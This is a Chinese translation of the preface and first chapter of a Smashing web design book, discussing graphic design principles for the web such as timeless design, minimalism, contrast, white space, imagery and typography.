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前言

《众妙之门—网站UI设计之道》一经推出，便受到了广大读者的热烈欢迎。为此，我们便立即着手第2册的出版工作。在众多方面的共同努力下，又推出了本书。

我们希望本书在各个方面都超过它以前的版本。它应该涵盖更有趣的主题，并且具有更多的篇幅；我们希望它成为一本制作精美，有收藏价值的好书。并且我们希望它的性价比也让您满意。

本书各章开头妙趣横生的插图是由澳大利亚艺术家Yiying Lu创作的，她是一位受人尊敬并且极具创意的插画家，因其享有盛名的“Twitter失败鲸”画作而闻名于世。

你可以在线查找本书中提及的所有参考和资源，它们列出在一个便于访问的概览中。
(1)



寻回失落之章

最初，本书打算包含下面更多的章节：

●　Kat Neville编写的“终极Web设计问卷和一览表”（The Ultimate Web Design Questionnaire and Checklist）。

●　Specider Schneider编写的“Web设计中的苦恼以及如何处理它们”（Plagues in Web Design and How to Deal with Them）。

●　Steven Snell编写的“访谈：来自有名望的设计师的专家提示”（Interview: Expert Tips From Renowned Designers）。

●　Paul Scrivens编写的“Web设计社区：未来之路”（Web Design Community: Where Are We Going?）。

不过，由于篇幅所限，我们没有将它们放入本书。作为替代，我们将这些“失落之章”以免费的电子书形式发布，作为本书读者的额外奖励。在Smashing Shop给注册客户免费提供了电子书。
(2)



如果你对本书有什么看法，请通过评论、评语或电子邮件（地址是feedback@smashingbook.com）让我们知道。我们会衷心感谢你的信任和支持：它们对于我们来说就意味着全部。

Vitaly Friedman、Sven Lennartz和Smashing家族
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————————————————————


(1)
  参见http://www.smashing-links.com/。


(2)
  参见http://shop.smashingmagazine.com/。
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第1章　优秀平面设计的原则
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尽管对于Web设计师应该做什么工作有一些流行的、先入为主的概念，但是有一个简单的事实始终未变：Web设计和图形设计并不是一回事。当然，它们是相关的，并且它们在许多方面具有一些交集，但是它们在某些领域具有明显的区别，需要考虑它们各自的优点和理论。

Nick Haas
(1)

 编写的博客内容也许最清楚地说明了这两个主题之间的一个主要区别。他把设计师的工作描述为：

“有效地与印刷和Web媒体交流，并且认识到它们是彼此独立的，并不相同。理解图形设计师与Web设计师之间独特的区别可能会对你的下一个项目或者给你的设计之路带来帮助。”

虽然Haas所说的这种区别符合事实（并且文章的余下部分明确了一些优秀的要点），但是他所暗示的印刷与Web之间的区别可能过于简单化。毕竟，我们在Web设计中使用的许多概念都直接来源于图形设计的漫长历史。关于留白、对比、色彩理论和网格（寻根究底，它们都源于印刷世界）的思想已深入于全世界的Web设计师，从而模糊了印刷与Web之间若隐若现的界线。

本章将探讨图形设计的一些关键概念，因为它们与现代Web设计密切相关。我们还将探讨许多驱动设计行为本身的中心元素和方法论，并将考虑“仅仅良好”与“确实优秀”之间有时很微妙但总是很重要的界线。


 1.1　什么是图形设计

为了能够讨论图形设计在Web设计领域所起的作用，首先必须准确理解图形设计是什么。在掌握它的定义之后，就可以开始详细研究这个主题。

那么，我们称为“图形设计”的这个概念准确地讲是什么呢？Katherine McCoy讲述了这个领域的多面性，并发问“图形设计是艺术、科学、商业、工艺，还是语言？”她没有提供权威性的答案，而是在其起源的环境内阐述了图形设计的简单概念。

为了自发地响应工业革命的交流需要，人们发明了图形设计，向日益增长的消费者社会推销大规模生产的果实。
(2)

 从这个角度讲，我们可能把图形设计理解成为广告业服务的创意行为。这几乎不能构成一个完整的定义，但是它清楚地阐明了任何图形设计的一个可能最重要的方面——交流。

任何形式的图形设计最终都是在视觉传达方面的练习。这种交流可能通过许多技术来执行，例如：版式设计、插图、形状和颜色，但是其目标总是有效地（偶尔也是即时地）把信息传达给观众。

这样，显而易见，设计的过程涉及做出慎重且适当的图形选择，以便最好地传达期望的消息。这同样适用于Web，就像设计印刷品一样。

我们之所以强调“图形”这个词，是因为我们在这里要着重讨论它。不过，我们确实承认，图形交流本身并没有考虑整个Web设计领域，它还包括诸如用户界面（User Interface，UI）和用户体验（User Experience，UX）设计这些方面。虽然设计的这些方面彼此之间当然会有联系，但是它们提供了不同的功能，并且彼此独立存在。

UI和UX更多的是系统设计的功能，它们重点关注的是可用性和响应。用户理解系统吗？他们能够找到并理解导航吗？他们能够快速、容易地完成所布置的任务吗？系统给他们提供了积极的体验吗？所有这些问题本质上更多地属于UI和UX，而不是图形设计。

通过我们将在下面讨论的许多技术，图形设计当然可以为这些领域做贡献并且被视为它们的一部分。但是为了完全理解它在Web设计中的作用，我们需要就其本身而言考虑图形设计—信息含义的可视化传送媒介。而且，我们需要理解其丰富而迷人的历史。通过这种理解，我们就可以领会这个主题的一些细微的要点。


 1.2　设计的语言

设计不仅仅限于页面上的线条、形状和图像，它包含丰富的视觉语言。深究其历史有助于我们搞清楚出现在我们面前的这些元素有什么作用，以及它们是怎样定义和深化这个精彩的视觉世界的。随着关于设计的本质和应用的理论不断演化，它们描述的视觉语言也有了很大的发展。今天，这种语言坚定地来源于一组丰富的理论，这个领域的一些最优秀的人士对它们进行了试验和测试、编写和重写，以及证明和解释。

我们对这种语言掌握得越好，就越容易评估图形设计的实际情况，并且本能地识别应该保留什么以及应该抛弃什么。随着我们对图形设计的研究进一步深入以及对视觉语言的理解更成熟，这些本能也在不断演进。与文学非常相似，设计历史包含大量的经典，可供享用、探索和学习。
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网格的开发导致了三种不同的设计表达方式。第一种基于Van de Graaf真经；第二种是简单的模块化网格；第三种是基于实验几何的构造。

网格，设计师对它颇费思量并且花费了如此多的精力研究它，尽全力理解它在设计中的作用。网格用于像诗歌那样简洁以及像歌剧那样豪华地组织设计。然而还有许多人仍然乐于继续利用各种世俗的“庸招”制作作品，仅仅由于“看起来整洁”而对齐图像和文本。理解设计的历史有助于我们避免使用糟糕的“庸招”。

1.2.1　历史和理论的重要性

每当我们查看设计时，都在阅读以不同方式表达的设计的语言。我们将越来越熟悉词汇（理论和哲学的产物）怎样使内容带有结构。作为设计师，我们每个人都是“卓越经典的继承人”
(3)

 ，通过历史的潮流把创建的每个标志和构思的每个理论汇聚到我们面前。

我们行业中最优秀的从业者开发了他们自己的关于如何最佳地表达语言的哲学和理论。从他们独特的遗产（书面或其他形式）中，我们认识了他们如何证明自己的工作是正确有效的。如果我们分析单独一位设计师的足够多的示例，并且能够探索它们同时代的作品和影响，就会浮现一种可辨别的思维模式。

例如，设计领域最有影响的思想家之一Paul Rand有着与众不同的观点。简单看一下就会发现，LászLó Moholy-Nagy对 Rand的重要影响。Moholy-Nagy的仅仅一句评论就驱动 Rand“大量阅读图书和短文，尤其是关于美学方面的。受到 Moholy-Nagy的 The New Vision（新构思）和John Dewey的 Art As Experience（艺术即体验）的启发，Rand形成了他自己的思想”。
(4)



从Paul Rand扩展开的这幅粗略的关系图提供了讨论问题的环境，并且说明了简单的起点怎样给我们提供要遵循的历史和哲学线索。这类练习显示了我们要学习哪些知识以及要研究哪些设计师。他们之间所具有的联系以及发现的新联系甚至会进一步推进我们的教育。因此，我们不仅要学习 Rand自己的作品，还要学习Moholy-Nagy的The New Vision和John Dewey的Art As Experience。如果这些著作对于成为像Paul Rand那样的顶级设计师是如此有影响，那么显然它们极其重要，不应该被忽略。

作为这样一份尊贵礼物的接受者，我们绝对不能因为这段历史与我们目前的思考和问题不相关而抛弃它。如果以前没有听人说过某种语言，设想一下怎样才能最流利地说这种语言。毕竟，如果“设计是操纵形式和内容”
(5)

 ，那么查看任何设计或者阅读任何设计哲学都是探寻视觉语言如何适应不同的需求，而不管它身处哪个历史时代。

最后，我们将研究杰出大师的设计，并且窥视他们的头脑。但是这样的工作并不仅限于模仿他们对文字、图像和形状的选择，而必须超越它。我们不必真正理解给定空间里的元素（以及元素之间的关系）并且证明它们是合理的，而必须使用他们的思想来指导我们自己，从而构成用于我们的故事的视觉语法，而不管使用的媒体是什么。通过研究设计历史和理论，可以了解许多杰出的大师，他们慷慨地分享了对设计语言的深刻见解。我们需要重视这些礼物——比如Josef Müller-Brockmann（关于网格）、Jan Tschichold（关于合成）和Wolfgang Weingart（关于版式）的图书。这些图书允许我们不仅仅把给定的设计看作是一种视觉吸引力，而可以让我们更深入地洞悉和理解它为什么如此有吸引力。
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从Paul Rand扩展开的这幅粗糙的关系图提供了讨论问题的环境，并且说明了简单的起点怎样给我们提供要遵循的历史和哲学线索。他们之间所具有的联系以及发现的新联系甚至会进一步推进我们的教育。

合格的设计师会用心了解历史，并且能够指出谁在什么时候完成了哪些里程碑式的重大事件。优秀的设计师则会首先了解为什么会完成这些里程碑式的重大事件。在下面几页中，我们将探讨设计的持久性、极简抽象艺术、意象、版式和声音的概念，并将探讨它们对图形设计艺术的不同作用。


 1.3　关于历久弥新的设计的思考

对历久弥新的设计任何评估都会鉴赏设计的品味、内涵和质量。为此，可以查看设计（或者它的元素）在十年、二十年或五十年内将如何表现。迎合时尚的元素将会凋谢，而那些根基合理的元素则会历久弥新。

这个练习使设计师重点考虑给定的解决方案是确实为内容量身定做的，还是如此普通以至于可以用于任何其他的项目。这方面的工作做得越多，就越能够更容易地把优质作品与那些随着时光流逝而过时的作品区分开。历久弥新的设计不会依靠虚幻的技法来增强其效果。相反，它完全依赖于传达良好的思想。

1.3.1　迎合一时之需的设计与历久弥新的设计之间的对比

为了理解历久弥新的设计，可以考虑它的对立面：迎合一时之需的设计。其中重点关注的是当前的趋势以及吸引特定群体或者利用流行基调的风格。它的长处时常也是其最终失败的成因。它在一段固定的时间内自然会吸引固定的受众，但是会把那些不适应那种特定的历史和文化环境的人拒之门外。

采用这类设计，内容通常会被时髦的效果所遮蔽，并且在设计层次中通常不会公正地对待它。因此，它只变成了具有美感的道具，并且它作为交流工具的价值也相应地减小了，这使得它无法抗拒人们品味的风向变化。

当然，这并不总是一件坏事：迎合一时之需的设计也有它的存在的价值。如果解决方案基于稳定的思想和合理的设计原则，那么针对特定受众的迎合一时之需的风格将不会使它过时。如果处置得当并做好平衡折中，那么它将不仅现时可以收到非常好的交流效果，并且在以后也仍然容易为人所接受。

另一方面，如果设计打算吸引广泛的受众并且历久弥新，那么它必须具有自己的长处。此时，持久性将产生一种神奇的魔力，并且设计师必须能够证明页面上的每个元素及其位置、大小和颜色都是合理的。这有利于制作出适应客户、历史、受众和声音的完全成形的设计。

它还强迫人们担任自己的最严格的批评家，这对于任何杰出的设计师都是必不可少的。

1.3.2　实现历久弥新的设计

实现历久弥新的设计要遵循的最简单的原则是：用于传达信息的元素越少，陷入迎合一时之需的风格和趋势的机会就会越低。除此之外，下面还介绍了用于实现历久弥新的设计的一些其他方式。

1．在内容自身中寻找解决方案

如果可以做到这一点，就能够胜任交流者的角色。问题中总是蕴涵着有待发现的思想。关键是还要找到关于问题的一些独特而有趣的方面，并且值得把它们放到显要位置。Paul Rand设计的非常著名的IBM海报就是这方面的一个优秀示例：他使用眼睛、蜜蜂以及可立即识别的“M”的图像在公司的名称上创建了一句形象的双关语。

Bob Gill是善于使用这种技术的另一位大师。他的解决方案之一是放大。“我们憎恨小印刷品”，来填充其中列出了汽车租赁公司的条款和条件的小册子的封面。Gill给出的最好的建议之一是：如果问题没有提供独特而有趣的解决方案，就要重新定义它，使之能够做到这一点。
(6)



来看一看两位摄影师Melanie和Justin的网站。
(7)

 当然，摄影讲述的是它自己的故事，无需来自设计的支持，因此最佳的解决方案通常像下图这样简单。
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设计只包含名字、一个简单的菜单和内容本身，以及用于大字标题（呈现在悬浮效果上）的柔和版式。一些细微的样式编排可能稍微具有迎合一时之需的倾向，但是设计的结构将是持久的。

2．大道至简

像形状、颜色、留白、插图和版式这样的基本概念仍然是设计的构件，甚至扫一眼历史亦会发现，这些是持续时间最长的元素，这是有原因的。它们可以引导人的视线、提供画面平衡感，以及分配视觉焦点。我们非常舒适地“把它们读作”设计的一部分，但是它们内涵丰富，足以吸收设计师赋予它们的任何价值和含义。通过依靠基本原理——比如网格系统、几何学、三分法、黄金分割定律、平衡、对比和并置——可以以几乎无限多种方式排列这些元素。

3．避免装饰

装饰只是出于视觉吸引力而添加的任何内容。它也许是不必要的标题下划线、粗体文字的多余的斜体样式、页面周围的边框、不会指引眼睛的渐变、大多数阴影、毫无价值且了无新意的意象，当然还包括用于“装点”设计的第四、第五或第六种字型。

使用大图形标题的趋势是装饰的一个优秀示例。像 Underworld Magazines
(8)

 这样的网站结合了常见的杂志版面设计以及页面顶部周围强烈的视觉效果。
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这些元素显然是出于吸引视觉兴趣的缘故而存在的。它们可能暗示一些网站的内容（Apple、Adobe、社会媒体等），但是它们实质上只是迎合一时之需的设计，不会对总体的设计效果做贡献。如果页面上的某个元素对传达消息没有什么作用，那么它可能不需要出现在那里，并且很可能降低设计的持久性。

1.3.3　“使我感到惊讶！”

这些话被Paul Arden称为“给出的最佳建议”，从资深艺术总监到年轻的设计师都是如此。这种建议简单而有效，鼓励那些希望自己的作品能够历久弥新的设计师重点关注使受众（或者他们的老板、客户、同事或他们自己）感到惊讶。使人感到惊讶并不意味着大声喊叫或者上演大片，它意味着创造出因其内在价值而将被人们记住的作品。
(9)



这是有一些优秀示例，比如经典的企鹅封面上的橙色条纹、The Man With theGolden Arm海报、Muhammad Ali Esquire封面，以及最近的Pixel Blog
(10)

 ，它在混合漂亮的插图与页面布局方面所做的工作引人注目。
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这些以及许多其他的作品给我们显示了奇妙的思想驱动的设计看起来像是什么样子的，同时还可以担当长久的质量保证。当然，在墨水变干或者网站启动之后，不能想当然地认为任何历久弥新的设计都会被人们长久地敬重。创建长久经典设计只是为了利用实力和理性传达思想。它的持久性并没有超过这个奇特版本经遗传得到的品质。也许可以通过下面一个简单的并列句总结这一点：合格的设计师提供今天所需的解决方案；优秀的设计师则可以提供能满足未来很长一段时间所需的解决方案。

合格的设计师把各种不同的流行风格拼凑在一起，并尝试加入足够多的时尚元素以取悦于客户。然而，客户得到的满足感可能只是一瞬间的，如果解决方案不具有持久性——如果它没有认真周到地执行一种良好的思想，那么设计注定会渐渐湮没无闻。

它涉及职业道德。在我们竭尽全力学习了技艺之后，为什么要转向短暂的捷径呢？为什么不能给客户提供真正的、生命力长久的设计作品呢？如果我们把自己称为专业人士，那么我们需要让自己坚持标准，强迫我们使设计作品在许多年内都合情合理、风采优雅、有趣并且能够传达思想。


 1.4　相关的极简抽象艺术

极简抽象艺术不是我们可以借用于今天的一些20世纪中叶的风格。它与“重新流行的旧风格”毫无关系。相反，它是用于理解和实践设计的非常特定的哲学。为了领会它，让我们假设页面上的每个元素都价值10美元。在具有10个元素的页面上，总价值将达到100美元。
(11)



关于极简抽象艺术有一个被误导的观念：如果从10个元素中删除5个元素，那么余下的元素将吸收最近释放的价值，并且每个元素价值20美元 —假定只有一半的元素则将使每个元素的价值加倍。这种思想来源于“少即是多”的模糊概念。事实是，余下的每个元素仍然价值10美元。

极简抽象艺术不是一种“风格”，它并不是简单地关于删除不必要的元素。它首先关注的是只需要少量的元素。在页面上具有较少的元素不会自动增加每个元素的价值。相反，它使余下的元素要承担更多的责任并使设计的质量被认可。是的，具有较少的元素绝对会更有效，但是需要使它们获得效力和响应能力，这通常是通过设计师对设计的基本思想的承诺来实现的。这意味着使用意象，它不会简单地填充空间，而是唤起感觉和刺激大脑，同时可以专注于基本的目标。它意味着使用的版式不仅仅“足够好”，而是可以直达信息的核心并赋予它生命，把设计与其受众联系在一起。

实际上这些有价值的元素自身不会组合成确实不同寻常的最简设计。相反，它们可以通过在彼此之间产生的联系获得它们的最大价值。培育这种联系需要具有这类交流方法中的原则和理论方面的知识，以及相关的准则和信念。

1.4.1　培育联系

“所有的艺术都是联系。设计就是联系。设计是形式与内容之间的联系..你的眼镜是圆形的，你的上衣领是斜的，这些也是联系。你的嘴巴是椭圆形，你的鼻子是三角形——这就是设计。”

——Paul Rand
(12)



联系存在于给定空间里的任何两个元素之间，比如图像与其文字说明、标题与其正文副本、横幅与页面的边缘。随着空间里元素数量减少，它们的联系的价值也会随之增大。元素之间的紧密联系必须是经过深思熟虑的、相关的和令人兴奋的，而不会有装饰性的或者多余的元素弱化它们的潜在力量。

设计的效力取决于这些联系以及整体上对设计有用的任何元素。在一个领域中糟糕的决策可能会导致其他方面良好的元素失去价值，而良好的元素将把价值分给次要的元素。

我们可以培育这些联系中的许多方面。一些方面是页面的物理属性，而另外一些方面更多地涉及哲学或文化。内容与形式之间、形式与画布之间、画布与受众之间的抽象联系都需要考虑。在这里，有三种属性尤其值得我们注意，因为它们确实有助于架起联系形式与内容的桥梁。它们是对比、空白和张力。

1.4.2　对比

图形设计主要是以对比为基础的。它可以引导观者的视线并分配版面中元素的重要性，对它的使用技巧的探索是无止境的。当页面上只有少数几个元素时，要精心创建强烈的、考虑周到的对比才能使设计变得有趣。

对比的最基本的形式是明暗。白色背景上的黑色文本就是一个明显的示例。大和小、衬线字体和无衬线字体，以及黑色和白色之间的对比可以使标题与正文之间泾渭分明。在 Jon Brousseau的网站上可以看到这方面的大量示例。
(13)
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使用slap-serif字体的大块标题与使用sans-serif字体的小得多的正文之间形成了鲜明的对比，从而创建了一种醒目的联系。

当然，对比不仅仅出现在文本中。它可以存在于合成作品中的几乎任何元素之间，并且可以使用许多类型的对比来提高元素的价值和视觉吸引力。这些类型包括：

●　水平和垂直；

●　方形和圆形；

●　平滑和粗糙；

●　封闭和开放
(14)

 ；

●　旧和新；

●　陌生和熟悉
(15)

 ；

●　点和线；

●　直线和角线；

●　填充和外形；

●　绘图和摄影；

●　有序和混乱。

在讨论极简的Web设计中的对比时，Adham Dannaway的代表作选辑网站就是一个很好的范例。
(16)

 在这一个页面上，具有多种类型的对比。
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插图与摄影、抽象与具体、彩色与（几乎）无色，甚至有序与混乱之间都具有对比。更重要的是，所有这些对比在网站上都具有特定的目的，这涉及把Dannaway的两个专业领域（即设计和开发）放在了同等重要的位置。这种对比极有价值，因为它提供了比单纯使用文字快得多的引人注目的内容。因此，设计需要较少的元素，使之成为应用极简抽象艺术的优秀示例。

1.4.3　空白

有一条关于字体的公理，即字母不是创建的，而是从其周围的空白（white space）中雕刻出来的。大多数设计形式都是如此。对于设计来说，空白与它包围着的任何元素一样重要。它的不可见性意味着无需吸引人们注意即可产生非常好的效果——这是一个用于极简抽象艺术的绝妙工具。它可以构建平衡、定义比例、把元素集中起来以及把它们分开。它给元素提供了生命和趣味性，并且可以构建张力，比如极细的空白或者洞穴式狭窄入口。

在把标志添加到设计中时，空白的形状会发生变化，并且跨页面改变视线的轨迹。然后，随着元素的比例发生变化，空白的视觉重度和强度也会变化。它是一个动态的元素。设计机构Academy的主页
(17)

 在处理空白的方式上就是一个非常好的示例。
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由于页面上只有很少的元素，因此在这里以确实迷人的方式使用空白。主要标志被分解开了，并且尽管明显缺少区分线，但是空白本身通过清晰地定义网格线可以使混乱变得井然有序。这颠覆了传统的阅读（从左上方到右下方）和扫描（比如在F模式中）模式。相反，眼睛立即被吸引到抽象的形状上，它是朝着页面右边构造的字母，然后将转到左上方的标志上，跨过菜单并最终落到介绍性文本上。

1.4.4　张力

在设计中可以存在两种形式的张力。第一种是以某种方式构建的，然后将会被释放。例如，可以使用图像来创建这类张力。图像可能使人触目惊心或滑稽有趣，或者只是显得神秘莫测，并且作为点睛之笔时——无论是通过一行文本、另一幅图像、一种形状，还是通过颜色或对比——张力都会立即烟消云散。

观者可以通过它把设计的细微部分联系起来。利用张力把观者吸引到设计中，在达到目的之后，通过释放和舒缓张力把他们的注意力移开。更重要的是，他们正在与设计交互，这是设计师的主要目标之一。例如，让我们查看Y3K网站。
(18)
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可以通过第二种形式的张力来鼓励交互，它存在于页面上的元素之间的关系之中，但是不会导致一种宣泄式的释放。像空白一样，元素用于引导视线以及定义页面的合成。

尽管它很简单，这种合成还是具有重要的张力，其中大多数都取决于单独的一条角线（angled line）。它在页面上醒目的大小和位置将立即把注意力吸引到它分割纹理化方框的方式上—该方框不是对半平分的，而是分成两个大小不等的部分。观众立即会被吸引，而由于看不到解释说明，则尝试自己去读出设计中的含义，尝试确定线条及其分割的目的。

通过与包含设计余下部分的水平和垂直线条形成鲜明的对比，把线条的角度添加到张力上。这使得它甚至更显眼，从而加强了观者对含义的探索。

张力驱动观众至少进入交互的前几个阶段，打开进一步联系的通道，这全都归功于简单的线条。并且这是设计中联系的威力，本节介绍的全都是这方面的内容。如Rand所指出的，艺术是联系的产品，并且在这些联系中各个元素变成了设计的强大工具。

极简抽象艺术是一块试金石，可以让我们领会如何开发、测试和使用这些联系。为了测试我们的理解，我们必须承认，合格的设计师把极简抽象艺术用作一种风格，而优秀的设计师则只创建设计所需的那些联系。

极简抽象艺术作为一种风格可以传达集成在设计自身中的信息。传统的极简抽象艺术仅仅借用了一些表层元素就使设计看起来很漂亮。而真正的极简抽象艺术可以以高明的方式实现强大的联系，从而展现出优秀的图形设计。

1.4.5　利用图像传达信息

如果极简抽象艺术只与尽可能少的元素交流，那么就值得探讨所有元素中可能最强大的元素——图像。一图可能并不总是能抵千言，但是它无疑可以比文本更快、更高效地传达信息（并且在一些情况下具有更大的吸引力）。如果像我们所讨论过的，图形设计的主要作用是传达消息，那么显而易见有效地使用图像是设计的视觉语言的关键组成部分——并且是所有的设计师都应该加以考虑的。

利用图像传达信息的基本方式有两种。第一种是直接展示，它可以准确地将其描述为图像表示实实在在的人、位置或事物。目的是为了吸引观者对主题的注意力，而不管是宣传、评论、批评，还是提醒。

具象派的意象的一种常见实例是肖像，比如设计师和企业家Sue Rutherford的个人博客。
(19)
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这个设计的焦点是Sue本人的照片。这幅图像是具象派的，因为它描述了作者本人。对于了解她的人，该图像可以立即使他们想起她；对于那些不了解她的人，该图像可以充当可视化的介绍。

在各种广泛的代表作选辑（其中将会看到以前的作品）和电子商务网站（其中将会看到产品）中有效地使用了相同的技术。流行的网站OnA
(20)

 包含了许多展示不同服装的模特照片。
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网站的访问者可以真实、详细地查看公司作品的样式，从而可以自己判断作品的质量和价值。

利用图像传达信息的第二种方式是使用隐喻。当图像暗示某种思想而没有确切地表示它时，就会发生这种情况。这是一种强大的技巧，应该考虑周全地、有目的地使用。一些隐喻很清楚、明显，比如BrightBulb代表作选辑网站上非常显眼的灯泡插图。
(21)
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观察这幅图像的访问者脑海中想到的第一件事是灯泡是怎样隐喻新思想的。但是这种隐喻更深入。它里面不是一根灯丝，而是一棵发光的树，表明这个网站适合于“思想生长和发光”。因此，设计师使用隐喻，把额外的含义注入网站的视觉语言中。

Drowned Studio网站
(22)

 更抽象地使用了隐喻。主要意象显然旨在使我们想起一条隧道，而颜色和形状则给设计提供了一种类似于数字矩阵的感觉。
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它暗示了一种节奏快速的想象和数字创意，把它称为电影最贴切。页面上的其他元素强化了这一点，它们借用了电影海报的众所周知的约定（它们使用了自己的一整组隐喻）。

无论图像是具象派的、隐喻，还是二者的混合（比如在讨论极简抽象艺术时看到的Adham Dannaway网站上的内容），它的主要作用应该总是支持设计的信息。并且这带给我们一条关于图像和设计的关键的经验教训：良好的设计可以装饰页面，而优秀的设计则可以组合含义。

无论何时使用图像，也无论以什么形式使用它，它都应该会对传达设计背后的信息有所贡献，而不仅仅是装饰。

设计的目的是传达特定的信息，所有设计中的所有元素都应该为实现这个目标而协同努力。

图像总是具有某种含义。可以在其确切的表示或者在其隐喻性的形状、颜色和抽象中找到这种含义。如果这种含义没有被仔细考虑，那么图像不仅不能支撑全部的信息，而且可能因为暗示了完全不同的含义而危及要表达的信息。


 1.5　版式的作用

“版式为内容服务。”

——Robert Bringhurst
(23)



那么现在就打开 Robert Bringhurst的The Elements of Typographic Style
 的第1章，它是一本版式设计方面的圣经。Bringhurst优雅且简单地暗示版式不是为设计师、客户、受众或者甚至它自身服务的，而纯粹是为它的内容服务的。因此，它必须反映内容所要传达的思想，并且它既不能设置错误的基调，也不能喧宾夺主，吸引了观者本该给予内容本身的更多的注意力。

1.5.1　文字仍然很重要

无论何时摆放一系列字母，版式都在工作。它与在印刷页面、OpenOffice文档还是浏览器窗口中工作无关。不管用户的体验或者设计师的意图是什么，比例和位置操作总会涉及某种设计形式。

它取决于专业设计师来决定要多严肃地接受这项任务。合格的设计师理解他们的版式决策将对总体设计和消息产生什么样的影响；优秀的设计师则会确保这种影响服务于客户的信息。如Oliver Reichenstein所说：“Web上95％的信息都是书面语言”
(24)

 ——像设计师一样，我们必须优雅地处理这种最丰富的资源。优秀的设计通常是在多个限制条件下而提出的巧妙的解决方案。如我们所见到的，使用较少的元素实现的解决方案越好，设计将越强大。对于版式也是如此，因为它与其他设计元素一样。就像我们不会随意地把图像贴在设计上一样，我们也不应该利用无意义的版式来亵渎我们的文字。

不要期望使用不同的字型就可以处理所有困难的任务。我们不能在CSS中为正文内容声明单独一种字体，然后考虑要完成的版式设计过程。字体大小、行距（即行间距）、度量值（即行宽）、颜色和位置等问题都需要仔细考虑。使用系统默认值将不能得到满意的效果，你需要付出思考和努力，把任何字型的潜力转变成现实。

1.5.2　版式的关系

在使任何新项目具有生命活力之前，设计师需要首先尽最大可能地理解项目。有时，这意味着研究客户及其目标。在另外一些时候，它意味着重新定义目标，以更好地适应手边的需求。不管用何种方法实现这种理解，有一件事都是固定不变的：必须通过语言的情调设置设计的基调。

版式也是如此，就像它是意象、颜色和其他任何元素一样。为了使版式为内容服务，我们必须像Bringhurst所指出的那样：“在文本的内部逻辑中发现版式的外部逻辑。”
(25)

 不同的字型具有不同的内涵，如果不仔细选择，它们可能会传达混合的信息。看看Bam Creative的网站。
(26)
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爆炸性活力充满了这个网站，并且在意象（明亮的绿色和黑色背板以及醒目的炸弹）和版式中体现了出来。加粗的无衬线字型完美地匹配页面的简单、现代的美感和充满活力的主要消息。想象一下如果这个设计使用精巧、优雅的衬线字体，那么效果将会差一些。图形设计必须源于它所表达的内容的含义和样式，以一种完全透明的方式把功能和形式与文本和设计联系起来，有效地使观者与内容思想产生共鸣。通过深思熟虑的版式决策，设计师允许信息通过被人阅读和吸收而闪闪发光。

1.5.3　和谐与平衡

一旦放置了一个文本块，就必须重视它在设计中的作用。为了使之有效，需要给它提供足够的空间，并且必须与周围的元素和页面本身之间进行平衡。就像图像从其位置及其指引视线的方式上获得活力一样，文本块也必须从其位置获得活力，包括在页面上以及沿着设计所暗示的视觉路径上。

通常，在设置了列和页边距之后，就可以把文本填入布局中。它被视为可以填入的任何空间的流体。不过，在大多数（如果不是全部）格式化决策中，文字都应该是关键的考虑事项。在狭窄的空间中填充有复杂医疗术语的文本段落将不会产生较好的效果，而抒情散文可能不适合于较宽的列。

关于设计的特定细节的决策通常开始于选择字型。x的高度、小写字母中高出x的部分以及小写字母中低于 x的部分是字体大小和行距的考虑因素，它们反过来又会影响页边距（从而会影响列宽）。对每一种设计均采用这种方法不是必要的（或者甚至不是想要的），但它是在许多相关的部分建立和谐的一种有用的方式。

文字大小当中的和谐通常是通过逻辑和实践决策确定的。最明显的决策将是在传统的版式比例内工作，这种比例是指自16世纪起就在使用的一组文字大小，并且它一般被认为是开始工作的好起点。一直在使用的文字大小经过了长时间的证明。只需经过少许思考和对比，设计师就可以使它们极好地协同工作。
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版式编排的关键是避免过多地使用文本。简单加粗的线条将不会像标题那样被忽视，它也不需要额外的下划线。我们的目标不是使之尽可能引人注目、令人惊愕以及使页面绚丽多彩。只需要精巧地改变字体的基调，就可以吸引足够的注意力。

1.5.4　透明度

观者不应该感觉到好像他们在阅读“代表”内容内在的文字，而应该感觉到是在直接体会——这些思想是通过在阅读时几乎不会引人注意的文字无缝地传递的。

Beatrice Warde在其开创性的关于这个主题的短文中将版式比作水晶酒杯，其中通过干净、朴素的酒杯可以充分显示“信息”的葡萄酒。
(27)

 葡萄酒可以完全品尝，其颜色和质地闪闪发光。真正的葡萄酒爱好者将会享受这样透明的葡萄酒，“因为计划呈现关于酒杯的一切，而不会隐藏它打算装有的漂亮物品”。Warde提出了版式（更大程度上是设计）的思想，就像装有葡萄酒的酒杯，使得读者开始与内容交互时完全不会注意到版式的存在。

无论什么（甚至包括设计）都不应该给传达信息造成妨碍。相反，设计师必须在内容与读者之间培育一种透明的联系，不允许任何东西干扰这种联系，包括文字本身。良好的版式就是水晶，我们通过它把信息传递到人的头脑。

不过，为了使这种传递成功进行，我们必须理解，信息并不是我们所知道的字母和文字的标志。仅仅使文本有足够的摆放空间或者使标题可以吸引注意力和引导视线是不够的。页面和文字只是一个窗口，观者通过它与信息和思想交互，构建这个窗口是设计师义不容辞的责任。信息需要被观者无缝地吸收和领会，而不需要他们认为文字、字型或设计是“漂亮”的。如果他们确实这样认为，那么它应该只是第一印象或者事后对设计的看法。

文字是我们使用的最强大的元素，通常比意象和颜色更强大。它们在头脑中灌输信息。它们可以改变大脑的化学物质、创建精神图片和记忆，以及培育思想。作为设计师，我们具有设计和策划这些文字以尽可能产生最大效果的非常任务。

1.5.5　功能的问题

当在最清白的环境中呈现时，良好的版式将变得最强大。适当空间里的一组良好的文本是设计师展现的最漂亮的事物之一。它是我们努力实现的使人兴奋的平衡状况：文字必须吸引注意力，仅仅为了在阅读它们时放弃这种注意力，以便为它们传达的思想让路。它就像听故事内容本身，而不是听讲故事的人的声音（尽管声音当然会影响人们对故事的感受）。

版式可以是说明性的或者柔和的。前者通常出现在标题页面、杂志中的开卷语、广告和海报上。文字说明是版式艺术性的一些最漂亮的示例，因为它们同时说明和讲述故事，可以带来真正的喜悦之感。Elysium Burns网站
(28)

 就是一个精彩的示例。
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在这里，设计师利用优秀画家的所有技能和精度跨（数字）画布显著展示版式。在展现其含义时，文字将超越其本身的一般意义。它们相互争奇斗艳，通过重量、样式、位置和颜色创建视觉联系。在它们的协调作用下，展示出了极好的视觉效果，证明了设计师的精湛控制。

然后，如我们所看到的，柔和版式的原则并不是需要在各种情况下应用的刚性规律。设计历史给我们提供了今天仍在使用的许多原则、思想和理论，并且它们也适用于网页浏览器，就像在印刷的页面上一样。认可这些原则并不意味着必须盲从它们，更重要的是知道易读性、美学和交互性等经得起时间检验的原则———这些原则在今天仍然是适用的，就像在过去几个世纪一样。

